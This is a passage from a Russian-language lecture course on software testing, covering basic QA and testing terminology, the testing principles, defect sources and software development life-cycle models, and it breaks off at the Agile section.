Курс лекций Тестирование програмного обеспечения

Table
of Contents
ОГЛАВЛЕНИЕ 1.1
Лекция 1, ч.1. Введение в тестирование 1.2
Лекция 1, ч.2. Жизненный цикл продукта 1.3
Лекция 1, ч.3. Методологии разработки программного обеспечения 1.4
Лекция 1, ч.4. Жизненный цикл тестирования 1.5
Лекция 2, ч.1. Требования 1.6
Лекция 2, ч.2. Анализ требований 1.7
Лекция 2, ч.3. Тестирование документации 1.8
Лекция 2, ч.4. Виды и направления тестирования 1.9
Лекция 3, ч.1. Отчеты о дефектах 1.10
Лекция 3, ч.2. Жизненный цикл “бага” 1.11
Лекция 3, ч.3. Багтрекинговые системы 1.12
Лекция 4, ч.1. Тестовая документация 1.13
Лекция 4, ч.2. Чек-листы 1.14
Лекция 4, ч.3. Тест-кейсы 1.15
Лекция 4, ч.4. Программное обеспечение для управления тест-кейсами 1.16
Лекция 5, ч.1. Техники тест-дизайна 1.17
Лекция 5, ч.2. Планирование 1.18
Лекция 5, ч.3. Отчетность 1.19
Лекция 6, ч.1. Архитектура клиент-сервер 1.20
Лекция 6, ч.2. Тестирование web 1.21
Лекция 7, ч.1. Тестирование UI и верстки 1.22
Лекция 7, ч.2. Программное обеспечение, применяемое при тестировании UI 1.23
Лекция 8, ч.1. Интеграционное тестирование 1.24
Лекция 8, ч.2. Тестирование API 1.25
Лекция 8, ч.3. Программное обеспечение, применяемое при тестировании API
Лекция 9, ч.1. Тестирование мобильных приложений 1.27 1.26
Лекция 9, ч.2. Программное обеспечение, применяемое при тестировании
мобильных приложений 1.28
Лекция 10, ч.1. Базы данных и их разновидности 1.29
1
Лекция 10, ч.2. Запросы на выборку и модификацию данных 1.30
Лекция 11, ч.1. Виртуальные машины 1.31
Лекция 11, ч.2. Удаленные рабочие столы 1.32
2
ОГЛАВЛЕНИЕ
ОГЛАВЛЕНИЕ:
1. Введение в тестирование. Жизненный цикл продукта. Методологии

разработки программного обеспечения. Жизненный цикл тестирования.
2. Требования. Анализ требований. Тестирование документации. Виды и

направления тестирования.
3. Отчеты о дефектах. Жизненный цикл “бага”. Багтрекинговые системы.
4. Тестовая документация. Чек-листы, тест-кейсы и др. Программное

обеспечение для управления тест-кейсами.
5. Техники тест-дизайна. Планирование, Оценка трудозатрат. Отчетность.
6. Архитектура клиент-сервер. Тестирование web.
7. Тестирование UI и верстки. Программное обеспечение, применяемое при

тестировании UI.
8. Интеграционное тестирование. Тестирование API. Программное обеспечение,

применяемое при тестировании API.
9. Тестирование мобильных приложений. Программное обеспечение,

применяемое при тестировании мобильных приложений.
10. Базы данных и их разновидности. Запросы на выборку и модификацию

данных.
11. Виртуальные машины. Удаленные рабочие столы. Специализированное

программное обеспечение, применяемое в процессе тестирования.
3
Лекция 1, ч.1. Введение в тестирование
Обеспечение качества и тестирование

программного обеспечения - основные
понятия и определения
Качество программного обеспечения (Software Quality) - это степень, в которой
программное обеспечение обладает требуемой комбинацией свойств.
Качество программного обеспечения (Software Quality) - это совокупность

характеристик программного обеспечения, относящихся к его способности
удовлетворять установленные и предполагаемые потребности.
Обеспечение качества (Quality Assurance - QA) - это совокупность мероприятий,

охватывающих все технологические этапы разработки, выпуска и эксплуатации
программного обеспечения (ПО) информационных систем, предпринимаемых на
разных стадиях жизненного цикла ПО для обеспечения требуемого уровня качества
выпускаемого продукта.
Контроль качества (Quality Control - QC) - это совокупность действий, проводимых

над продуктом в процессе разработки для получения информации о его актуальном
состоянии в разрезах: "готовность продукта к выпуску", "соответствие
зафиксированным требованиям", "соответствие заявленному уровню качества
продукта".
Тестирование программного обеспечения (Software Testing) - это одна из техник

контроля качества, включающая в себя активности по планированию работ (Test
Management), проектированию тестов (Test Design), выполнению тестирования (Test
Execution) и анализу полученных результатов (Test Analysis).
Верификация (verification) - это процесс оценки системы или её компонентов с целью

определения, удовлетворяют ли результаты текущего этапа разработки условиям,
сформированным в начале этого этапа. Т.е. выполняются ли наши цели, сроки, задачи
по разработке проекта, которые были определены в начале текущей фазы.
Валидация (validation) - это определение соответствия разрабатываемого ПО

ожиданиям и потребностям пользователя, требованиям к системе.
План Тестирования (Test Plan) - это документ, который описывает весь объем работ
по тестированию, начиная с описания объекта, стратегии, расписания, критериев
начала и окончания тестирования до необходимого в процессе работы оборудования,
специальных знаний, а также оценки рисков с вариантами их разрешения.
4
Тест дизайн (Test Design) - это этап процесса тестирования ПО, на котором
проектируются и создаются тестовые случаи (тест-кейсы), в соответствии с
определенными ранее критериями качества и целями тестирования.
Тестовый случай (Test Case) - это артефакт, описывающий совокупность шагов,

конкретных условий и параметров, необходимых для проверки реализации
тестируемой функции или её части.
Баг/Дефект Репорт (Bug Report) - это документ, описывающий ситуацию или

последовательность действий, приведшую к некорректной работе объекта
тестирования с указанием причин и ожидаемого результата.
Тестовое Покрытие (Test Coverage) - это одна из метрик оценки качества

тестирования, представляющая из себя плотность покрытия тестами требований либо
исполняемого кода.
Детализация Тест-Кейсов (Test Case Specification) - это уровень детализации

описания тестовых шагов и требуемого результата, при котором обеспечивается
разумное соотношение времени прохождения к тестовому покрытию.
Время Прохождения Тест Кейса(Test Case Pass Time) - это время от начала
прохождения шагов тест-кейса до получения результата теста.
Качество программного обеспечения

Каждый день в своей работе мы сталкиваемся с достаточно абстрактным понятием
«качество ПО» и если задать вопрос тестировщику или программисту «что такое
качество?», то у каждого найдется своё толкование. Рассмотрим определение
"качества ПО" в контексте международных стандартов:
Качество программного обеспечения - это степень, в которой ПО обладает

требуемой комбинацией свойств.
Качество программного обеспечения - это совокупность характеристик ПО,

относящихся к его способности удовлетворять установленные и предполагаемые
потребности.
Характеристики качества ПО
Функциональность (Functionality) - определяется способностью ПО решать задачи,
которые соответствуют зафиксированным и предполагаемым потребностям
пользователя, при заданных условиях использования ПО. Т.е. эта характеристика
5
отвечает то, что ПО работает исправно и точно, функционально совместимо

соответствует стандартам отрасли и защищено от несанкционированного доступа.
Надежность (Reliability) – способность ПО выполнять требуемые задачи в

обозначенных условиях на протяжении заданного промежутка времени или указанное
количество операций. Атрибуты данной характеристики – это завершенность и
целостность всей системы, способность самостоятельно и корректно
восстанавливаться после сбоев в работе, отказоустойчивость.
Удобство использования (Usability) – возможность легкого понимания, изучения,

использования и привлекательности ПО для пользователя.
Эффективность (Efficiency) – способность ПО обеспечивать требуемый уровень

производительности, в соответствии с выделенными ресурсами, временем и другими
обозначенными условиями.
Удобство сопровождения (Maintainability) – легкость, с которой ПО может

анализироваться, тестироваться, изменяться для исправления дефектов для
реализации новых требований, для облегчения дальнейшего обслуживания и
адаптирования к имеющемуся окружению.
Портативность (Portability) – характеризует ПО с точки зрения легкости его переноса

из одного окружения (software/ hardware) в другое.
Модель качества программного обеспечения

На данный момент, наиболее распространена и используется многоуровневая модель
качества программного обеспечения, представленная в наборе стандартов ISO 9126.
На верхнем уровне выделено 6 основных характеристик качества ПО, каждую из
6
Рис.1. Модель качества программного обеспечения (ISO 9126-1)
Кто такой тестировщик и что он делает

Если поискать информацию по ключевым фразам из названия этой главы,то можно
найти уйму совершенно противоречивых ответов. И дело здесь, в первую очередь, в
том, что авторы большинства «должностных обязанностей» приписывают всей
профессии некий утрированный набор характеристик отдельных её представителей.
В начале карьеры любой специалист (и тестировщик не является исключением)

является исполнителем и учеником. Достаточно хорошо понимать, что такое тест-
кейсы, отчёты о дефектах, уметь читать требования, пользоваться парой
инструментальных средств и хорошо уживаться в команде.
7
Постепенно тестировщик начинает погружаться во все стадии разработки проекта,

понимая их всё полнее и полнее, начинает не только активно использовать, но и
разрабатывать проектную документацию, принимать всё более ответственные
решения.
Если выразить образно главную цель тестировщика, то она будет звучать так:
«понимать, что в настоящий момент необходимо проекту, получает ли проект это
необходимое в должной мере и, если нет, то как изменить ситуацию к лучшему».
Звучит похоже на цель руководителя проекта, верно? Верно. Начиная с некоторого
уровня развития, IT-специалисты, по большому счёту, различаются лишь наборами
технических навыков и основной областью приложения этих навыков.
Так какие же технические навыки нужны, чтобы успешно начать работать

тестировщиком? Прежде чем приступить к самому перечислению, оговорим особо:
этот список рассчитан, в первую очередь, на тех, кто приходит в тестирование из не
технических профессий (хотя часто его же приходится озвучивать и студентам
технических вузов).
1. Знание иностранных языков. Да, это не технический навык. Но, тем не менее, он
идёт под номером «ноль». Можете считать это аксиомой: «нет знания английского
— нет карьеры в IT». Другие иностранные языки тоже приветствуются, но
английский первичен.
2. Уверенное владение компьютером на уровне по-настоящему продвинутого
пользователя и желание постоянно развиваться в этой области. Можете ли Вы
представить себе профессионального повара, который не может пожарить
картошку (не «не обязан», а «не умеет в принципе»)? Выглядит странно? Не
менее странно выглядит «IT’шник» (именно так, в кавычках), неспособный набрать
вменяемо отформатированный текст, скопировать файл по сети, развернуть
виртуальную машину или выполнить любое иное повседневное рутинное
действие.
3. Программирование. Оно на порядок упрощает жизнь любому IT’шнику, а
тестировщику — в первую очередь. Можно ли тестировать без знания
программирования? Да, можно. Можно ли это делать по-настоящему хорошо? Нет.
И сейчас самый главный (почти религиозно-философский) вопрос: какой язык
программирования изучать? C/C++/C#, Java, PHP, JavaScript, Python, Ruby и т.д. —
начинайте с того, на чём написан ваш проект. Если проекта пока ещё нет,
начинайте с JavaScript (на текущий момент — самое универсальное решение).
4. Базы данных и язык SQL. Здесь от тестировщика тоже не требуется квалификация
на уровне узких специалистов, но минимальные навыки работы с наиболее
распространёнными СУБД и умение писать простые запросы можно считать
обязательными.
5. Понимание принципов работы сетей и операционных систем. Хотя бы на
8
минимальном уровне, позволяющем провести диагностику проблемы и решить её

своими силами, если это возможно.
6. Понимание принципов работы веб-приложений и мобильных приложений. В наши
дни почти всё пишется именно в виде таких приложений, и понимание
соответствующих технологий становится обязательным для эффективного
тестирования.
Надеюсь, Вы обратили внимание на то, что самого тестирования в списке нет. Всё
верно, ведь ему посвящена вся эта книга целиком, так что позволим себе не
копировать её сюда.
Также отметим личностные качества, позволяющие тестировщику быстрее стать

отличным специалистом:
1. Повышенная ответственность и исполнительность;

2. хорошие коммуникативные навыки, способность ясно, быстро, чётко выражать
свои мысли;
3. терпение, усидчивость, внимательность к деталям, наблюдательность;
4. хорошее абстрактное и аналитическое мышление;
5. способность ставить нестандартные эксперименты, склонность к
исследовательской деятельности.
Да, сложно найти человека, который бы в равной мере обладал всеми

перечисленными качествами, но всегда полезно иметь некий ориентир для
саморазвития.
Откуда берутся ошибки в ПО?
Почему бывает так, что программы работают неправильно? Все очень просто – они
создаются и используются людьми. Если пользователь допустит ошибку, то это может
привести к проблеме в работе программы – она используется неправильно, значит,
может повести себя не так, как ожидалось.
Ошибка (error) – это действие человека, которое порождает неправильный результат.
Однако программы разрабатываются и создаются людьми, которые также могут

допускать (и допускают) ошибки. Это значит, что недостатки есть и в самом
программном обеспечении. Они называются дефектами или багами (оба обозначения
равносильны). Здесь важно помнить, что программное обеспечение – нечто большее,
чем просто код.
Дефект, Баг (Defect, Bug) – недостаток компонента или системы, который может
привести к отказу определенной функциональности. Дефект, обнаруженный во время
исполнения программы, может вызвать отказ отдельного компонента или всей
9
системы.
При исполнении кода программы дефекты, заложенные еще во время его написания,
могут проявиться: программа может не делать того, что должна или наоборот делать
то, чего не должна – происходит сбой.
Сбой (failure) – несоответствие фактического результата (actual result) работы

компонента или системы ожидаемому результату (expected result).
Сбой в работе программы может являться индикатором наличия в ней дефекта.
Таким образом, баг существует при одновременном выполнении трех условий:
известен ожидаемый результат;

известен фактический результат;
фактический результат отличается от ожидаемого результата.
Важно понимать, что не все баги становятся причиной сбоев – некоторые из них могут
никак себя не проявлять и оставаться незамеченными (или проявляться только при
очень специфических обстоятельствах).
Причиной сбоев могут быть не только дефекты, но также и условия окружающей

среды: например, радиация, электромагнитные поля или загрязнение также могут
влиять на работу как программного, так и аппаратного обеспечения.
Всего существует несколько источников дефектов и, соответственно, сбоев:
ошибки в спецификации, дизайне или реализации программной системы;

ошибки использования системы;
неблагоприятные условия окружающей среды;
умышленное причинение вреда;
потенциальные последствия предыдущих ошибок, условий или умышленных
действий.
Дефекты могут возникать на разных уровнях, и от того, будут ли они исправлены и

когда, будет напрямую зависеть качество системы.
Качество (Quality) – степень, в которой совокупность присущих характеристик

соответствует требованиям.
Качество программного обеспечения (Software Quality) – это совокупность

характеристик программного обеспечения, отражающих его способность
удовлетворять установленные и предполагаемые потребности.
Требование (Requirement) – потребность или ожидание, которое установлено.

Обычно предполагается или является обязательным.
10
В первом случае все было сделано правильно и мы получили продукт, полностью

соответствующий ожиданиям заказчика и удовлетворяющий критериям качества.
Во втором случае ошибки были допущены уже при кодировании, что привело к
появлению дефектов в готовом продукте. Но на этом уровне баги достаточно легко
обнаружить и исправить, поскольку мы видим несоответствие требованиям.
Третий вариант хуже – здесь ошибки были допущены на этапе проектирования

системы. Заметить это можно лишь проведя тщательную сверку со спецификацией.
Исправить такие дефекты тоже непросто – нужно заново перерабатывать дизайн
продукта.
В четвертом случае дефекты были заложены еще на этапе формирования

требований; вся дальнейшая разработка и даже тестирование пошли по изначально
неправильному пути. Во время тестирования мы не найдем багов – программа
пройдет все тесты, но может быть забракована заказчиком.
Условно можно выделить пять причин появления дефектов в программном коде.
1. Недостаток или отсутствие общения в команде. Зачастую бизнес-требования

просто не доходят до команды разработки. У заказчика есть понимание того,
каким он хочет видеть готовый продукт, но, если должным образом не объяснить
11
его идею разработчикам и тестировщикам, результат может оказаться не таким,

как предполагалось. Требования должны быть доступны и понятны всем
участникам процесса разработки ПО.
2. Сложность программного обеспечения. Современное ПО состоит из множества
компонентов, которые объединяются в сложные программные системы.
Многопоточные приложения, клиент-серверная и распределенная архитектура,
многоуровневые базы данных – программы становятся все сложнее в написании и
поддержке, и тем труднее становится работа программистов. А чем труднее
работа, тем больше ошибок может допустить исполняющий ее человек.
3. Изменения требований. Даже незначительные изменения требований на поздних
этапах разработки требуют большого объема работ по внесению изменений в
систему. Меняется дизайн и архитектура приложения, что, в свою очередь,
требует внесения изменений в исходный код и принципы взаимодействия
программных модулей. Такие текущие изменения зачастую становятся источником
трудноуловимых дефектов. Тем не менее, часто меняющиеся требования в
современном бизнесе – скорее правило, чем исключение, поэтому непрерывное
тестирование и контроль рисков в таких условиях – прямая обязанность
специалистов отдела обеспечения качества.
4. Плохо документированный код. Сложно поддерживать и изменять плохо
написанный и слабо документированный программный код. Во многих компаниях
существуют специальные правила по написанию и документированию кода
программистами. Хотя на практике часто бывает так, что разработчики вынуждены
писать программы в первую очередь быстро, а это сказывается на качестве
продукта.
5. Средства разработки ПО. Средства визуализации, библиотеки, компиляторы,
генераторы скриптов и другие вспомогательные инструменты разработки – это
тоже зачастую плохо работающие и слабо документированные программы,
которые могут стать источником дефектов в готовом продукте.
Принципы тестирования
Тестирование программного обеспечения – креативная и интеллектуальная работа.
Разработка правильных и эффективных тестов – достаточно непростое занятие.
Принципы тестирования, представленные ниже, были разработаны в последние 40 лет
и являются общим руководством для тестирования в целом.
1. Тестирование показывает наличие дефектов
12
Тестирование может показать наличие дефектов в программе, но не доказать их

отсутствие. Тем не менее, важно составлять тест-кейсы, которые будут находить как
можно больше багов. Таким образом, при должном тестовом покрытии, тестирование
позволяет снизить вероятность наличия дефектов в программном обеспечении. В то
же время, даже если дефекты не были найдены в процессе тестирования, нельзя
утверждать, что их нет.
2. Исчерпывающее тестирование невозможно
Невозможно провести исчерпывающее тестирование, которое бы покрывало все

комбинации пользовательского ввода и состояний системы, за исключениям совсем уж
примитивных случаев. Вместо этого необходимо использовать анализ рисков и
расстановку приоритетов, что позволит более эффективно распределять усилия по
обеспечению качества ПО.
3. Раннее тестирование
Тестирование должно начинаться как можно раньше в жизненном цикле разработки

программного обеспечения и его усилия должны быть сконцентрированы на
определенных целях.
4. Скопление дефектов
Разные модули системы могут содержать разное количество дефектов, то есть

плотность скопления дефектов в разных элементах программы может отличаться.
Усилия по тестированию должны распределяться пропорционально фактической
плотности дефектов. В основном, большую часть критических дефектов находят в
ограниченном количестве модулей. Это проявление принципа Парето: 80% проблем
содержатся в 20% модулей.
5. Парадокс пестицида
Прогоняя одни и те же тесты вновь и вновь, Вы столкнетесь с тем, что они находят все
меньше новых ошибок. Поскольку система эволюционирует, многие из ранее
найденных дефектов исправляют и старые тест-кейсы больше не срабатывают.
Чтобы преодолеть этот парадокс, необходимо периодически вносить изменения в

используемые наборы тестов, рецензировать и корректировать их с тем, чтобы они
отвечали новому состоянию системы и позволяли находить как можно большее
количество дефектов.
6. Тестирование зависит от контекста
13
Выбор методологии, техники и типа тестирования будет напрямую зависеть от

природы самой программы. Например, программное обеспечение для медицинских
нужд требует гораздо более строгой и тщательной проверки, чем, скажем,
компьютерная игра. Из тех же соображений сайт с большой посещаемостью должен
пройти через серьезное тестирование производительности, чтобы показать
возможность работы в условиях высокой нагрузки.
7. Заблуждение об отсутствии ошибок.
Тот факт, что тестирование не обнаружило дефектов, еще не значит, что программа
готова к релизу. Нахождение и исправление дефектов будет не важным, если система
окажется неудобной в использовании и не будет удовлетворять ожиданиям и
потребностям пользователя.
И еще несколько важных принципов:
тестирование должно производиться независимыми специалистами;

привлекайте лучших профессионалов;
тестируйте как позитивные, так и негативные сценарии;
не допускайте изменений в программе в процессе тестирования;
указывайте ожидаемый результат выполнения тестов.
Верификация и валидация
Эти два понятия тесно связаны с процессами тестирования и обеспечения качества. К
сожалению, их часто путают, хотя отличия между ними достаточно существенны.
Верификация (verification)– это процесс оценки системы или её компонентов с целью

определения того, удовлетворяют ли результаты текущего этапа разработки условиям,
сформированным в начале этого этапа. То есть выполняются ли задачи, цели и сроки
по разработке продукта.
Валидация (validation)– это определение соответствия разрабатываемого ПО

ожиданиям и потребностям пользователя, требованиям к системе.
Следующая таблица поможет выделить ключевые отличия между этими понятиями:
14
С помощью валидации Вы можете быть уверенным в том, что создали «правильный»

продукт. Продукт, который полностью удовлетворяет заказчика.
С помощью верификации Вы можете увериться в том, что продукт сделан

«правильно»: придерживаясь необходимых методик, инструментов и стандартов.
На практике отличия верификации и валидации имеют большое значение:
заказчика интересует, в большей степени, валидация (удовлетворение

собственных требований);
исполнителя, в свою очередь, волнует не только соблюдение всех норм качества
(верификация) при реализации продукта, а и соответствие всех особенностей
продукта желаниям заказчика.
QA, QC и тестирование
Так в чем же разница между QA и тестированием и что такое Quality Control?
15
Многие люди до сих пор путают эти понятия, что, в общем, и не удивительно,
принимая во внимание, что в нашей стране они зачастую могут использоваться для
описания одних и тех же процессов. Но с формальной точки зрения, а именно она нас,
как специалистов, и интересует, эти три понятия имеют существенно отличающиеся
значения.
Можно оформить их соотношение в виде таблицы:
Таким образом, мы можем построить модель иерархии процессов обеспечения

качества: Тестирование – часть QC. QC – часть QA.
16
Иными словами, Quality Assurance обеспечивает правильность и предсказуемость

процесса, в то время как Quality Control предполагает контроль соблюдения
требований. Тестирование же, в свою очередь, обеспечивает сбор статистических
данных и внесение их в документы, созданные в рамках QC-процесса.
Если провести аналогию с процессом конструирования, скажем, велосипеда, то

получим такую картину:
С помощью тестирования мы можем определить, работают ли все детали и сам

велосипед в целом так, как мы ожидаем. Из правильных ли материалов он сделан,
с применением нужных методик и инструментов или нет. То есть подразумевается,
что тестируемый объект уже существует.
Задачей же QA является обеспечение соответствия всех этапов конструирования
нашего велосипеда определенным стандартам качества, начиная с планирования
и создания чертежей и заканчивая сборкой уже готового велосипеда. То есть
качеству объекта внимание уделяется еще до создания самого объекта.
17
Лекция 1, ч.2. Жизненный цикл продукта
Жизненный цикл ПО
Тестирование – не изолированный процесс. Это часть модели жизненного цикла
программного обеспечения (Software Development Life Cycle, SDLC). Именно поэтому
выбор средств и методик тестирования будет напрямую зависеть от выбранной
модели разработки. В этом разделе мы рассмотрим наиболее часто применяемые
подходы к разработке программного обеспечения, а также популярные сегодня
методологии и практики, такие как Agile и Scrum.
Жизненный цикл программного обеспечения (также называемый циклом

разработки) – это условная схема, включающая отдельные этапы, которые
представляют стадии процесса создания ПО. При этом, на каждом этапе выполняются
разные действия.
Цикл разработки предлагает шаблон, использование которого облегчает

проектирование, создание и выпуск качественного программного обеспечения. Это
методология, определяющая процессы и средства, необходимые для успешного
завершения проекта.
Хотя реализация принципов построения модели жизненного цикла для разных

компаний может существенно отличаться, существуют стандарты, такие как ISO/IEC
12207, определяющие принятые практики разработки и сопровождения программного
обеспечения.
Цель использования модели жизненного цикла – создать эффективный, экономически

выгодный и качественный программный продукт.
18
Анализ требований
Цель этой стадии – определение детальных требований к системе. Кроме этого,
необходимо убедиться в том, что все участники правильно поняли поставленные
задачи и то, как именно каждое требование будет реализовано на практике.
Этот этап предполагает сбор требований к разрабатываемому программному

обеспечению, их систематизацию, документирование, анализ, а также выявление и
разрешение противоречий.
Проектирование
На стадии проектирования (называемой также стадией дизайна и архитектуры)
программисты и системные архитекторы, руководствуясь требованиями,
разрабатывают высокоуровневый дизайн системы.
Дизайн, как правило, закрепляется отдельным документом – дизайн-спецификацией

(Design Specification Document, DSD).
На этом этапе, для упрощения визуализации процесса проектирования, используются

так называемые нотации– схематическое выражение характеристик системы.
Основные используемые нотации:
Блок-схемы.
ER-диаграммы.
UML-диаграммы.
Макеты – например, нарисованный в фотошопе прототип сайта.
Разработка и программирование
На этом этапе начинается написание программистами кода программы в соответствии
с ранее определенными требованиями.
Программирование предполагает четыре основных стадии:
Разработка алгоритмов – создание логики работы программы.
Написание исходного кода.
Компиляция – преобразование в машинный код.
Тестирование и отладка – юнит-тестирование.
19
Документация
Существует четыре уровня документации:
Архитектурная (проектная) – например, дизайн-спецификация. Это документы,

описывающие модели, методологии, инструменты и средства разработки,
выбранные для данного проекта.
Техническая – вся сопровождающая разработку документация (различные

документы, поясняющие работу системы на уровне отдельных модулей).
Пользовательская – включает справочные и поясняющие материалы,

необходимые конечному пользователю для работы с системой. Это, к примеру,
Readme и User guide, раздел справки по программе.
Маркетинговая – включает рекламные материалы, сопровождающие выпуск

продукта.
Тестирование
Процесс тестирования состоит из таких этапов:
Планирование и управление - планирование тестирования включает действия,

направленные на определение основных целей тестирования и задач,
выполнение которых необходимо для достижения этих целей; составление тест-
стратегии, тест-плана.
Анализ и проектирование - это процесс написания тестовых сценариев и условий
на основе общих целей тестирования.
Внедрение и реализация - написание тест-кейсов, на основе написанных ранее
тестовых сценариев, собирается необходимая для проведения тестов
информация, подготавливается тестовое окружение и запускаются тесты.
Оценка критериев выхода и написание отчетов - необходимо проверить было ли
проведено достаточное количество тестов, достигнута ли нужная степень
обеспечения качества системы.
Действия по завершению тестирования - собираем, систематизируем и анализируем

информацию о его результатах.
Основные цели этого этапа
убедиться, что вся запланированная функциональность действительно была

реализована;
проверить, что все отчеты об ошибках, поданные ранее, были, так или иначе,
закрыты;
20
завершение работы тестового обеспечения, тестового окружения и

инфраструктуры;
оценить общие результаты тестирования и проанализировать опыт, полученный в

его процессе.
Внедрение и сопровождение
Когда программа протестирована и в ней больше не осталось серьезных дефектов,
приходит время релиза и передачи ее конечным пользователям.
В случае обнаружения пользователями тех или иных пост-релизных багов,

информация о них передается в виде отчетов об ошибках команде разработки,
которая, в зависимости от серьезности проблемы, либо немедленно выпускает
исправление (hot-fix), либо откладывает его до следующей версии программы.
21
Лекция 1, ч.3. Методологии разработки программного обеспечения
Модели разработки ПО
Чтобы лучше разобраться в том, как тестирование соотносится с программированием
и иными видами проектной деятельности, для начала рассмотрим самые основые —
модели разработки ПО (как часть жизненного цикла ПО). При этом сразу подчеркнём,
что разработка ПО является лишь частью жизненного цикла ПО, и здесь мы говорим
именно о разработке.
Материал данной главы относится, скорее, к дисциплине «управление проектами»,

потому здесь рассмотрен крайне сжато: пожалуйста, не воспринимайте его как
исчерпывающее руководство — здесь едва ли рассмотрена и сотая доля процента
соответствующей предметной области.
Выбор модели разработки ПО серьёзно влияет на процесс тестирования, определяя

выбор стратегии, расписание, необходимые ресурсы и т.д.
Моделей разработки ПО много, но, в общем случае, классическими можно считать

каскадную, v-образную, итерационную, инкрементальную, спиральную и гибкую.
Знать и понимать модели разработки ПО необходимо затем, чтобы уже с первых дней
работы понимать, что происходит вокруг, что, зачем и почему Вы делаете. Многие
начинающие тестировщики отмечают, что ощущение бессмысленности происходящего
посещает их, даже если текущие задания интересны. Чем полнее вы будете
представлять картину происходящего на проекте, тем яснее Вам будет виден ваш
собственный вклад в общее дело и смысл того, чем вы занимаетесь.
Ещё одна важная вещь, которую следует понимать, состоит в том, что никакая модель
не является догмой или универсальным решением. Нет идеальной модели. Есть та,
которая хуже или лучше подходит для конкретного проекта, конкретной команды,
конкретных условий.
Каскадная (водопадная) модель сейчас представляет, скорее, исторический

интерес, т.к. в современных проектах практически не применима. Она предполагает
однократное выполнение каждой из фаз проекта, которые, в свою очередь, строго
следуют друг за другом (Рис. 1.2). Очень упрощённо можно сказать, что, в рамках этой
модели, в любой момент времени команде «видна» лишь предыдущая и следующая
фаза. В реальной же разработке ПО приходится «видеть весь проект целиком» и
возвращаться к предыдущим фазам, чтобы исправить недоработки или что-то
уточнить.
Каскадная модель (waterfall)
22
Рис. 1.2. Каскадная (водопадная) модель
Особенности каскадной модели:
— высокий уровень формализации процессов;

— большое количество документации;
— жесткая последовательность этапов жизненного цикла без возможности возврата на
предыдущий этап.
Минусы:
• Waterfall-проект должен постоянно иметь актуальную документацию. Обязательная
актуализация проектной документации. Избыточная документация.
• Очень не гибкая методология.
• Может создать ошибочное впечатление о работе над проектом (например, фраза
«45% выполнено» не несёт за собой никакой полезной информации, а является всего
лишь инструментов для менеджера проекта).
• У заказчика нет возможности ознакомиться с системой заранее и даже с «Пилотом»
системы.
• У пользователя нет возможности привыкать к продукту постепенно.
• Все требования должны быть известны в начале жизненного цикла проекта.
• Возникает необходимость в жёстком управлении и регулярном контроле, иначе
проект быстро выбьется из графиков.
• Отсутствует возможность учесть переделку, весь проект делается за один раз.
Плюсы:
• Высокая прозрачность разработки и фаз проекта.
• Чёткая последовательность.
• Стабильность требований.
23
• Строгий контроль менеджмента проекта.

• Облегчает работу по составлению плана проекта и сбора команды проекта.
• Хорошо определяет процедуру по контролю качества.
«Водоворот» или каскадная модель с промежуточным

контролем
В этой модели предусмотрен промежуточный контроль за счет обратных связей. Но
это достоинство порождает и недостатки. Затраты на реализацию проекта при таком
подходе возрастают практически в 10 раз. Эта модель, как Вы уже поняли, является
незначительной модификацией предыдущей и относится к первой группе.
При реальной работе, в соответствии с моделью, допускающей движение только в

одну сторону, обычно возникают проблемы при обнаружении недоработок и ошибок,
сделанных на ранних этапах. Но еще более тяжело иметь дело с изменениями
окружения, в котором разрабатывается ПО (это могут быть изменения требований,
смена подрядчиков, изменение политики разрабатывающей или эксплуатирующей
организации, изменения отраслевых стандартов, появление конкурирующих продуктов
и пр.).
Итеративная модель
Итеративные или инкрементальные модели (известно несколько таких моделей)
предполагают разбиение создаваемой системы на набор кусков, которые
разрабатываются с помощью нескольких последовательных проходов всех работ или
их части.
24
Каскадная модель с возможностью возвращения на предшествующий шаг, при

необходимости пересмотреть его результаты, становится итеративной.
Итеративный процесс предполагает, что разные виды деятельности не привязаны
намертво к определенным этапам разработки, а выполняются по мере необходимости,
иногда повторяются, до тех пор, пока не будет получен нужный результат.
Вместе с гибкостью и возможностью быстро реагировать на изменения, итеративные
модели привносят дополнительные сложности в управление проектом и отслеживание
его хода. При использовании итеративного подхода значительно сложнее становится
адекватно оценить текущее состояние проекта и спланировать долгосрочное развитие
событий, а также предсказать сроки и ресурсы, необходимые для обеспечения
определенного качества результата.
Спиральная модель жизненного цикла программного

обеспечения
Данная модель прекрасно сочетает в себе прототипирование и проектирование по
стадиям. И из восходящей и нисходящей концепций в эту модель было взято все
лучшее.
25
Преимущества модели:
1. Результат достигается в кратчайшие сроки.

2. Конкурентоспособность достаточно высокая.
3. При изменении требований не придется начинать все с «нуля».
Но у этой модели есть один существенный недостаток: невозможность
регламентирования стадий выполнения.
V модель — разработка через тестирование

Данная модель имеет более приближенный к современным методам алгоритм, однако
все еще имеет ряд недостатков. Является одной из основных практик экстремального
программирования и предполагает регулярное тестирование продукта во время
разработки.
26
V-модель обеспечивает поддержку в планировании и реализации проекта. В ходе

проекта ставятся следующие задачи:
• Минимизация рисков: V-образная модель делает проект более прозрачным и
повышает качество контроля проекта путём стандартизации промежуточных целей и
описания соответствующих им результатов и ответственных лиц. Это позволяет
выявлять отклонения и риски в проекте на ранних стадиях и улучшает качество
управления проектов, уменьшая риски.
• Повышение и гарантии качества: V-Model —стандартизованная модель разработки,
что позволяет добиться от проекта результатов желаемого качества. Промежуточные
результаты могут быть проверены на ранних стадиях. Универсальное
документирование облегчает читаемость, понятность и проверяемость.
• Уменьшение общей стоимости проекта: ресурсы на разработку, производство,
управление и поддержку могут быть заранее просчитаны и проконтролированы.
Получаемые результаты также универсальны и легко прогнозируются. Это уменьшает
затраты на последующие стадии и проекты.
• Повышение качества коммуникации между участниками проекта: универсальное
описание всех элементов и условий облегчает взаимопонимание всех участников
проекта. Таким образом, уменьшаются неточности в понимании между пользователем,
покупателем, поставщиком и разработчиком.
Модель на основе разработки прототипа

Данная модель основывается на разработке прототипов и прототипирования продукта
и относится ко второй группе.
Прототипирование используется на ранних стадиях жизненного цикла программного

обеспечения:
27
Прояснить неясные требования (прототип UI).
Выбрать одно из ряда концептуальных решений (реализация сценариев).
Проанализировать осуществимость проекта.
Классификация прототипов:
Горизонтальные прототипы — моделирует исключительно UI, не затрагивая

логику обработки и базу данных.
Вертикальные прототипы — проверка архитектурных решений.
Одноразовые прототипы — для быстрой разработки.
Эволюционные прототипы — первое приближение эволюционной системы.
Вкратце можно выразить суть моделей разработки ПО таблицей 1.3.
28
Таблица 1.3.— Сравнение моделей разработки ПО
Agile (идеология) -манифест разработки

программного обеспечения
Мы постоянно открываем для себя более совершенные методы разработки
